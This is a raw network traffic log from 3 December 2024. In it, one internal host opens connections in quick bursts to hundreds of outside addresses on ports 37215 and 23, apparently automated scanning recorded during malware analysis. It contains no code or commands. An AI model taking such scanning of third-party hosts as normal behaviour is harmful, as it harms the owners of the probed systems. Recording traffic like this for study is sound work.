Dec 3, 2024 22:02:07.203654051 CET	40832	37215	192.168.2.14	197.32.165.143
Dec 3, 2024 22:02:07.203656912 CET	40832	37215	192.168.2.14	156.198.117.110
Dec 3, 2024 22:02:07.203659058 CET	40832	37215	192.168.2.14	156.172.124.118
Dec 3, 2024 22:02:07.203670979 CET	40832	37215	192.168.2.14	41.27.49.134
Dec 3, 2024 22:02:07.203675985 CET	40832	37215	192.168.2.14	41.121.231.200
Dec 3, 2024 22:02:07.203685045 CET	40832	37215	192.168.2.14	156.24.66.172
Dec 3, 2024 22:02:07.203689098 CET	40832	37215	192.168.2.14	156.224.93.166
Dec 3, 2024 22:02:07.203696012 CET	40832	37215	192.168.2.14	197.230.79.173
Dec 3, 2024 22:02:07.203711033 CET	40832	37215	192.168.2.14	197.248.156.214
Dec 3, 2024 22:02:07.203711033 CET	40832	37215	192.168.2.14	197.197.231.40
Dec 3, 2024 22:02:07.203726053 CET	40832	37215	192.168.2.14	41.245.148.68
Dec 3, 2024 22:02:07.203731060 CET	40832	37215	192.168.2.14	197.39.106.33
Dec 3, 2024 22:02:07.203733921 CET	40832	37215	192.168.2.14	197.193.114.151
Dec 3, 2024 22:02:07.203733921 CET	40832	37215	192.168.2.14	197.0.17.166
Dec 3, 2024 22:02:07.203735113 CET	40832	37215	192.168.2.14	197.104.227.145
Dec 3, 2024 22:02:07.203735113 CET	40832	37215	192.168.2.14	41.121.209.54
Dec 3, 2024 22:02:07.203752041 CET	40832	37215	192.168.2.14	156.131.49.213
Dec 3, 2024 22:02:07.203752995 CET	40832	37215	192.168.2.14	156.154.155.5
Dec 3, 2024 22:02:07.203753948 CET	40832	37215	192.168.2.14	156.132.123.231
Dec 3, 2024 22:02:07.203758001 CET	40832	37215	192.168.2.14	156.210.167.202
Dec 3, 2024 22:02:07.203769922 CET	40832	37215	192.168.2.14	41.71.239.193
Dec 3, 2024 22:02:07.203775883 CET	40832	37215	192.168.2.14	156.123.137.152
Dec 3, 2024 22:02:07.203778028 CET	40832	37215	192.168.2.14	197.65.82.129
Dec 3, 2024 22:02:07.203785896 CET	40832	37215	192.168.2.14	197.58.152.238
Dec 3, 2024 22:02:07.203800917 CET	40832	37215	192.168.2.14	41.91.71.138
Dec 3, 2024 22:02:07.203809977 CET	40832	37215	192.168.2.14	197.38.134.217
Dec 3, 2024 22:02:07.203809977 CET	40832	37215	192.168.2.14	156.181.134.156
Dec 3, 2024 22:02:07.203809977 CET	40832	37215	192.168.2.14	156.103.195.160
Dec 3, 2024 22:02:07.203810930 CET	40832	37215	192.168.2.14	41.15.12.91
Dec 3, 2024 22:02:07.203810930 CET	40832	37215	192.168.2.14	197.179.41.30
Dec 3, 2024 22:02:07.203829050 CET	40832	37215	192.168.2.14	41.75.65.251
Dec 3, 2024 22:02:07.203830957 CET	40832	37215	192.168.2.14	156.159.237.148
Dec 3, 2024 22:02:07.203839064 CET	40832	37215	192.168.2.14	41.76.129.203
Dec 3, 2024 22:02:07.203840017 CET	40832	37215	192.168.2.14	197.105.213.145
Dec 3, 2024 22:02:07.203846931 CET	40832	37215	192.168.2.14	41.20.93.90
Dec 3, 2024 22:02:07.203849077 CET	40832	37215	192.168.2.14	41.89.45.125
Dec 3, 2024 22:02:07.203850985 CET	40832	37215	192.168.2.14	156.174.181.250
Dec 3, 2024 22:02:07.203864098 CET	40832	37215	192.168.2.14	156.231.32.14
Dec 3, 2024 22:02:07.203865051 CET	40832	37215	192.168.2.14	156.61.159.152
Dec 3, 2024 22:02:07.203875065 CET	40832	37215	192.168.2.14	41.170.233.87
Dec 3, 2024 22:02:07.203881025 CET	40832	37215	192.168.2.14	197.168.109.143
Dec 3, 2024 22:02:07.203881979 CET	40832	37215	192.168.2.14	197.33.155.23
Dec 3, 2024 22:02:07.203883886 CET	40832	37215	192.168.2.14	156.19.16.204
Dec 3, 2024 22:02:07.203893900 CET	40832	37215	192.168.2.14	156.205.41.72
Dec 3, 2024 22:02:07.203900099 CET	40832	37215	192.168.2.14	156.240.101.123
Dec 3, 2024 22:02:07.203902960 CET	40832	37215	192.168.2.14	156.128.70.93
Dec 3, 2024 22:02:07.203919888 CET	40832	37215	192.168.2.14	156.16.209.86
Dec 3, 2024 22:02:07.203922987 CET	40832	37215	192.168.2.14	156.216.172.85
Dec 3, 2024 22:02:07.203924894 CET	40832	37215	192.168.2.14	156.33.172.153
Dec 3, 2024 22:02:07.203929901 CET	40832	37215	192.168.2.14	197.77.92.128
Dec 3, 2024 22:02:07.203932047 CET	40832	37215	192.168.2.14	156.113.248.58
Dec 3, 2024 22:02:07.203948975 CET	40832	37215	192.168.2.14	156.120.60.192
Dec 3, 2024 22:02:07.203949928 CET	40832	37215	192.168.2.14	197.242.151.200
Dec 3, 2024 22:02:07.203967094 CET	40832	37215	192.168.2.14	156.205.139.215
Dec 3, 2024 22:02:07.203973055 CET	40832	37215	192.168.2.14	41.21.16.158
Dec 3, 2024 22:02:07.203983068 CET	40832	37215	192.168.2.14	156.119.85.214
Dec 3, 2024 22:02:07.203984022 CET	40832	37215	192.168.2.14	197.144.32.188
Dec 3, 2024 22:02:07.204000950 CET	40832	37215	192.168.2.14	41.0.217.43
Dec 3, 2024 22:02:07.204000950 CET	40832	37215	192.168.2.14	197.36.163.17
Dec 3, 2024 22:02:07.204001904 CET	40832	37215	192.168.2.14	41.235.217.82
Dec 3, 2024 22:02:07.204018116 CET	40832	37215	192.168.2.14	156.95.247.224
Dec 3, 2024 22:02:07.204021931 CET	40832	37215	192.168.2.14	197.194.46.169
Dec 3, 2024 22:02:07.204022884 CET	40832	37215	192.168.2.14	41.184.187.110
Dec 3, 2024 22:02:07.204024076 CET	40832	37215	192.168.2.14	156.252.241.16
Dec 3, 2024 22:02:07.204024076 CET	40832	37215	192.168.2.14	41.25.192.236
Dec 3, 2024 22:02:07.204024076 CET	40832	37215	192.168.2.14	41.136.19.114
Dec 3, 2024 22:02:07.204025030 CET	40832	37215	192.168.2.14	156.211.138.174
Dec 3, 2024 22:02:07.204044104 CET	40832	37215	192.168.2.14	197.33.64.167
Dec 3, 2024 22:02:07.204045057 CET	40832	37215	192.168.2.14	156.206.25.80
Dec 3, 2024 22:02:07.204050064 CET	40832	37215	192.168.2.14	156.196.34.26
Dec 3, 2024 22:02:07.204050064 CET	40832	37215	192.168.2.14	41.131.74.11
Dec 3, 2024 22:02:07.204052925 CET	40832	37215	192.168.2.14	41.239.228.27
Dec 3, 2024 22:02:07.204056978 CET	40832	37215	192.168.2.14	197.57.187.215
Dec 3, 2024 22:02:07.204169035 CET	39484	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:07.204176903 CET	39230	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:07.204185963 CET	34098	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:07.204189062 CET	60542	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:07.204209089 CET	33190	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:07.204222918 CET	56570	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:07.204226017 CET	53440	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:07.204227924 CET	59420	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:07.204240084 CET	49218	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:07.204250097 CET	55490	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:07.204250097 CET	50454	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:07.204262018 CET	36038	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:07.204267025 CET	43676	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:07.204277992 CET	44980	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:07.204284906 CET	46614	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:07.204284906 CET	57560	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:07.204302073 CET	54614	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:07.204307079 CET	43920	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:07.204308033 CET	53170	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:07.204312086 CET	43410	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:07.204329014 CET	46896	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:07.204329014 CET	57766	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:07.204386950 CET	39224	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:07.204386950 CET	39224	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:07.204777002 CET	39400	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:07.209244967 CET	47020	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.209245920 CET	46112	37215	192.168.2.14	156.244.102.116
Dec 3, 2024 22:02:07.234565020 CET	37215	38906	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:07.234575033 CET	37215	52790	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:07.234582901 CET	37215	45898	41.66.212.146	192.168.2.14
Dec 3, 2024 22:02:07.234594107 CET	37215	43688	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:07.234637976 CET	37215	52374	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:07.234651089 CET	37215	47584	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:07.234661102 CET	37215	48100	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:07.234677076 CET	37215	45304	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:07.234688044 CET	37215	52772	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:07.234713078 CET	38906	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:07.234713078 CET	38906	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:07.234714031 CET	48100	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:07.234714985 CET	48100	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:07.234715939 CET	52790	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:07.234716892 CET	45898	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:07.234715939 CET	52790	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:07.234716892 CET	45898	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:07.234716892 CET	52374	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:07.234716892 CET	52374	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:07.234719038 CET	37215	37680	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:07.234719038 CET	43688	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:07.234719038 CET	43688	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:07.234719038 CET	47584	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:07.234719038 CET	47584	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:07.234725952 CET	52772	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:07.234736919 CET	52772	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:07.234738111 CET	45304	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:07.234738111 CET	45304	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:07.234747887 CET	37215	49992	41.114.48.9	192.168.2.14
Dec 3, 2024 22:02:07.234760046 CET	37680	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:07.234769106 CET	37680	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:07.234781027 CET	37215	47118	156.7.166.118	192.168.2.14
Dec 3, 2024 22:02:07.234781981 CET	49992	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:07.234813929 CET	47118	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:07.234813929 CET	47118	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:07.234819889 CET	37215	49744	41.242.231.240	192.168.2.14
Dec 3, 2024 22:02:07.234838963 CET	49992	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:07.234875917 CET	49744	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:07.234875917 CET	49744	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:07.234884977 CET	37215	56576	197.53.171.17	192.168.2.14
Dec 3, 2024 22:02:07.234894991 CET	37215	50552	197.119.230.197	192.168.2.14
Dec 3, 2024 22:02:07.234913111 CET	37215	37026	41.72.83.125	192.168.2.14
Dec 3, 2024 22:02:07.234920979 CET	56576	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:07.234926939 CET	50552	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:07.234942913 CET	56576	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:07.234942913 CET	37026	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:07.234956980 CET	37215	42142	41.250.53.110	192.168.2.14
Dec 3, 2024 22:02:07.234972000 CET	50552	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:07.234976053 CET	37026	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:07.234987974 CET	42142	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:07.235004902 CET	37215	44070	156.176.19.33	192.168.2.14
Dec 3, 2024 22:02:07.235007048 CET	42142	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:07.235014915 CET	37215	49344	41.92.97.54	192.168.2.14
Dec 3, 2024 22:02:07.235023975 CET	37215	60786	41.159.149.11	192.168.2.14
Dec 3, 2024 22:02:07.235037088 CET	37215	38138	197.198.71.1	192.168.2.14
Dec 3, 2024 22:02:07.235044956 CET	44070	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:07.235047102 CET	37215	44030	156.64.242.57	192.168.2.14
Dec 3, 2024 22:02:07.235057116 CET	37215	48920	197.37.224.195	192.168.2.14
Dec 3, 2024 22:02:07.235058069 CET	60786	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:07.235059977 CET	49344	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:07.235074997 CET	38138	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:07.235085011 CET	44030	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:07.235085011 CET	60786	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:07.235090017 CET	48920	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:07.235095024 CET	49344	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:07.235102892 CET	44070	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:07.235136032 CET	44030	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:07.235137939 CET	48920	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:07.235137939 CET	38138	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:07.235158920 CET	37215	39088	41.68.117.52	192.168.2.14
Dec 3, 2024 22:02:07.235172987 CET	37215	58306	41.3.168.87	192.168.2.14
Dec 3, 2024 22:02:07.235182047 CET	37215	49690	156.48.132.91	192.168.2.14
Dec 3, 2024 22:02:07.235193014 CET	39088	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:07.235200882 CET	58306	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:07.235212088 CET	49690	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:07.235229969 CET	39088	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:07.235243082 CET	49690	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:07.235243082 CET	58306	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:07.265655041 CET	37215	55130	197.248.237.12	192.168.2.14
Dec 3, 2024 22:02:07.265666962 CET	37215	53462	197.185.181.238	192.168.2.14
Dec 3, 2024 22:02:07.265676975 CET	37215	56034	41.108.8.89	192.168.2.14
Dec 3, 2024 22:02:07.265692949 CET	37215	36778	41.131.73.124	192.168.2.14
Dec 3, 2024 22:02:07.265702963 CET	37215	39806	41.154.223.212	192.168.2.14
Dec 3, 2024 22:02:07.265710115 CET	56034	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:07.265710115 CET	53462	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:07.265710115 CET	55130	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:07.265716076 CET	37215	43264	41.94.175.19	192.168.2.14
Dec 3, 2024 22:02:07.265718937 CET	36778	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:07.265733957 CET	39806	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:07.265748024 CET	43264	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:07.265752077 CET	56034	37215	192.168.2.14	41.108.8.89
Dec 3, 2024 22:02:07.265767097 CET	53462	37215	192.168.2.14	197.185.181.238
Dec 3, 2024 22:02:07.265769005 CET	55130	37215	192.168.2.14	197.248.237.12
Dec 3, 2024 22:02:07.265774012 CET	37215	34354	156.16.80.231	192.168.2.14
Dec 3, 2024 22:02:07.265785933 CET	37215	43892	41.64.226.76	192.168.2.14
Dec 3, 2024 22:02:07.265798092 CET	39806	37215	192.168.2.14	41.154.223.212
Dec 3, 2024 22:02:07.265805960 CET	37215	45698	41.224.48.182	192.168.2.14
Dec 3, 2024 22:02:07.265805960 CET	34354	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:07.265809059 CET	36778	37215	192.168.2.14	41.131.73.124
Dec 3, 2024 22:02:07.265816927 CET	37215	39718	156.221.169.157	192.168.2.14
Dec 3, 2024 22:02:07.265816927 CET	43892	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:07.265825987 CET	43264	37215	192.168.2.14	41.94.175.19
Dec 3, 2024 22:02:07.265851974 CET	45698	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:07.265851974 CET	39718	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:07.265863895 CET	43892	37215	192.168.2.14	41.64.226.76
Dec 3, 2024 22:02:07.265868902 CET	34354	37215	192.168.2.14	156.16.80.231
Dec 3, 2024 22:02:07.265872002 CET	45698	37215	192.168.2.14	41.224.48.182
Dec 3, 2024 22:02:07.265897036 CET	39718	37215	192.168.2.14	156.221.169.157
Dec 3, 2024 22:02:07.265995979 CET	37215	33100	197.49.43.51	192.168.2.14
Dec 3, 2024 22:02:07.266036034 CET	33100	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:07.266048908 CET	37215	51988	156.165.110.157	192.168.2.14
Dec 3, 2024 22:02:07.266057968 CET	33100	37215	192.168.2.14	197.49.43.51
Dec 3, 2024 22:02:07.266063929 CET	37215	50940	41.148.211.218	192.168.2.14
Dec 3, 2024 22:02:07.266098976 CET	37215	51928	156.189.89.236	192.168.2.14
Dec 3, 2024 22:02:07.266099930 CET	51988	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:07.266099930 CET	50940	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:07.266112089 CET	37215	50016	41.93.34.146	192.168.2.14
Dec 3, 2024 22:02:07.266123056 CET	37215	55814	41.115.186.149	192.168.2.14
Dec 3, 2024 22:02:07.266130924 CET	50940	37215	192.168.2.14	41.148.211.218
Dec 3, 2024 22:02:07.266134024 CET	51928	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:07.266144037 CET	50016	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:07.266144037 CET	55814	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:07.266166925 CET	51988	37215	192.168.2.14	156.165.110.157
Dec 3, 2024 22:02:07.266181946 CET	55814	37215	192.168.2.14	41.115.186.149
Dec 3, 2024 22:02:07.266196012 CET	50016	37215	192.168.2.14	41.93.34.146
Dec 3, 2024 22:02:07.266196012 CET	51928	37215	192.168.2.14	156.189.89.236
Dec 3, 2024 22:02:07.305367947 CET	40320	37215	192.168.2.14	41.240.12.174
Dec 3, 2024 22:02:07.308729887 CET	23	39808	115.234.60.223	192.168.2.14
Dec 3, 2024 22:02:07.308772087 CET	23	39808	46.87.27.58	192.168.2.14
Dec 3, 2024 22:02:07.308792114 CET	23	39808	200.58.9.86	192.168.2.14
Dec 3, 2024 22:02:07.308792114 CET	39808	23	192.168.2.14	115.234.60.223
Dec 3, 2024 22:02:07.308801889 CET	23	39808	54.189.111.237	192.168.2.14
Dec 3, 2024 22:02:07.308813095 CET	23	39808	168.87.113.186	192.168.2.14
Dec 3, 2024 22:02:07.308819056 CET	39808	23	192.168.2.14	46.87.27.58
Dec 3, 2024 22:02:07.308831930 CET	39808	23	192.168.2.14	54.189.111.237
Dec 3, 2024 22:02:07.308831930 CET	39808	23	192.168.2.14	200.58.9.86
Dec 3, 2024 22:02:07.308857918 CET	39808	23	192.168.2.14	168.87.113.186
Dec 3, 2024 22:02:07.308864117 CET	23	39808	192.100.164.173	192.168.2.14
Dec 3, 2024 22:02:07.308906078 CET	23	39808	92.136.63.96	192.168.2.14
Dec 3, 2024 22:02:07.308907032 CET	39808	23	192.168.2.14	192.100.164.173
Dec 3, 2024 22:02:07.308916092 CET	23	39808	106.172.176.122	192.168.2.14
Dec 3, 2024 22:02:07.308926105 CET	23	39808	150.9.7.132	192.168.2.14
Dec 3, 2024 22:02:07.308938980 CET	39808	23	192.168.2.14	92.136.63.96
Dec 3, 2024 22:02:07.308947086 CET	23	39808	114.149.198.156	192.168.2.14
Dec 3, 2024 22:02:07.308950901 CET	39808	23	192.168.2.14	106.172.176.122
Dec 3, 2024 22:02:07.308950901 CET	39808	23	192.168.2.14	150.9.7.132
Dec 3, 2024 22:02:07.308974028 CET	23	39808	34.173.169.70	192.168.2.14
Dec 3, 2024 22:02:07.308988094 CET	39808	23	192.168.2.14	114.149.198.156
Dec 3, 2024 22:02:07.309006929 CET	23	39808	139.149.191.183	192.168.2.14
Dec 3, 2024 22:02:07.309012890 CET	39808	23	192.168.2.14	34.173.169.70
Dec 3, 2024 22:02:07.309016943 CET	23	39808	147.197.131.227	192.168.2.14
Dec 3, 2024 22:02:07.309036970 CET	23	39808	58.8.245.66	192.168.2.14
Dec 3, 2024 22:02:07.309046984 CET	23	39808	53.77.56.42	192.168.2.14
Dec 3, 2024 22:02:07.309050083 CET	39808	23	192.168.2.14	139.149.191.183
Dec 3, 2024 22:02:07.309050083 CET	39808	23	192.168.2.14	147.197.131.227
Dec 3, 2024 22:02:07.309072018 CET	23	39808	86.161.71.57	192.168.2.14
Dec 3, 2024 22:02:07.309077978 CET	39808	23	192.168.2.14	58.8.245.66
Dec 3, 2024 22:02:07.309077978 CET	39808	23	192.168.2.14	53.77.56.42
Dec 3, 2024 22:02:07.309082031 CET	23	39808	64.252.246.229	192.168.2.14
Dec 3, 2024 22:02:07.309109926 CET	39808	23	192.168.2.14	86.161.71.57
Dec 3, 2024 22:02:07.309115887 CET	39808	23	192.168.2.14	64.252.246.229
Dec 3, 2024 22:02:07.309211969 CET	23	39808	182.165.168.193	192.168.2.14
Dec 3, 2024 22:02:07.309254885 CET	39808	23	192.168.2.14	182.165.168.193
Dec 3, 2024 22:02:07.322459936 CET	37215	40832	156.157.129.122	192.168.2.14
Dec 3, 2024 22:02:07.322504044 CET	40832	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.322634935 CET	37215	56222	197.227.173.107	192.168.2.14
Dec 3, 2024 22:02:07.322805882 CET	56222	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:07.322973013 CET	37215	34830	41.231.216.149	192.168.2.14
Dec 3, 2024 22:02:07.323018074 CET	34830	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:07.324635029 CET	37215	39484	156.72.185.93	192.168.2.14
Dec 3, 2024 22:02:07.324676991 CET	39484	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:07.324711084 CET	37215	49218	197.217.251.3	192.168.2.14
Dec 3, 2024 22:02:07.324717045 CET	37215	56570	41.154.31.154	192.168.2.14
Dec 3, 2024 22:02:07.324747086 CET	37215	39224	156.115.5.177	192.168.2.14
Dec 3, 2024 22:02:07.324767113 CET	49218	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:07.324767113 CET	56570	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:07.324827909 CET	37215	36038	156.161.126.173	192.168.2.14
Dec 3, 2024 22:02:07.324846983 CET	37215	43676	156.183.203.242	192.168.2.14
Dec 3, 2024 22:02:07.324871063 CET	36038	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:07.324873924 CET	37215	57560	156.204.54.116	192.168.2.14
Dec 3, 2024 22:02:07.324888945 CET	43676	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:07.324913979 CET	37215	46614	156.131.137.8	192.168.2.14
Dec 3, 2024 22:02:07.324920893 CET	57560	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:07.324929953 CET	37215	54614	41.233.227.101	192.168.2.14
Dec 3, 2024 22:02:07.324934959 CET	37215	43410	197.49.101.41	192.168.2.14
Dec 3, 2024 22:02:07.324951887 CET	46614	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:07.324963093 CET	54614	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:07.324963093 CET	43410	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:07.325521946 CET	37215	46896	41.246.60.179	192.168.2.14
Dec 3, 2024 22:02:07.325572968 CET	46896	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:07.325803995 CET	37215	59420	197.71.140.80	192.168.2.14
Dec 3, 2024 22:02:07.325841904 CET	59420	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:07.326011896 CET	37215	55490	197.198.132.132	192.168.2.14
Dec 3, 2024 22:02:07.326055050 CET	55490	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:07.326219082 CET	37215	57766	41.10.137.114	192.168.2.14
Dec 3, 2024 22:02:07.326258898 CET	57766	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:07.326574087 CET	37215	34098	197.231.16.59	192.168.2.14
Dec 3, 2024 22:02:07.326613903 CET	34098	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:07.326961040 CET	37215	44980	197.152.168.4	192.168.2.14
Dec 3, 2024 22:02:07.327002048 CET	44980	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:07.327205896 CET	37215	60542	41.153.253.195	192.168.2.14
Dec 3, 2024 22:02:07.327250004 CET	60542	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:07.327368975 CET	37215	53170	156.218.161.155	192.168.2.14
Dec 3, 2024 22:02:07.327383995 CET	37215	43920	197.86.98.63	192.168.2.14
Dec 3, 2024 22:02:07.327395916 CET	37215	50454	156.55.125.14	192.168.2.14
Dec 3, 2024 22:02:07.327416897 CET	37215	53440	156.8.122.245	192.168.2.14
Dec 3, 2024 22:02:07.327461004 CET	37215	33190	41.163.239.113	192.168.2.14
Dec 3, 2024 22:02:07.327471018 CET	37215	39230	156.180.52.49	192.168.2.14
Dec 3, 2024 22:02:07.327481031 CET	37215	53170	156.218.161.155	192.168.2.14
Dec 3, 2024 22:02:07.327524900 CET	53170	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:07.327838898 CET	37215	39230	156.180.52.49	192.168.2.14
Dec 3, 2024 22:02:07.327878952 CET	39230	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:07.328161955 CET	37215	50454	156.55.125.14	192.168.2.14
Dec 3, 2024 22:02:07.328218937 CET	50454	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:07.328552008 CET	37215	33190	41.163.239.113	192.168.2.14
Dec 3, 2024 22:02:07.328589916 CET	33190	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:07.328767061 CET	37215	43920	197.86.98.63	192.168.2.14
Dec 3, 2024 22:02:07.328874111 CET	43920	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:07.328929901 CET	37215	53440	156.8.122.245	192.168.2.14
Dec 3, 2024 22:02:07.328969955 CET	53440	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:07.329128981 CET	37215	47020	41.68.156.199	192.168.2.14
Dec 3, 2024 22:02:07.329169035 CET	47020	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.329621077 CET	52434	37215	192.168.2.14	156.157.129.122
Dec 3, 2024 22:02:07.330044985 CET	47020	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.330044985 CET	47020	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.330364943 CET	47038	37215	192.168.2.14	41.68.156.199
Dec 3, 2024 22:02:07.355439901 CET	37215	37680	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:07.355465889 CET	37215	45304	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:07.355514050 CET	37215	52772	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:07.355547905 CET	37215	47584	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:07.355557919 CET	37215	52374	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:07.355618954 CET	37215	43688	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:07.355628014 CET	37215	48100	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:07.355663061 CET	37215	45898	41.66.212.146	192.168.2.14
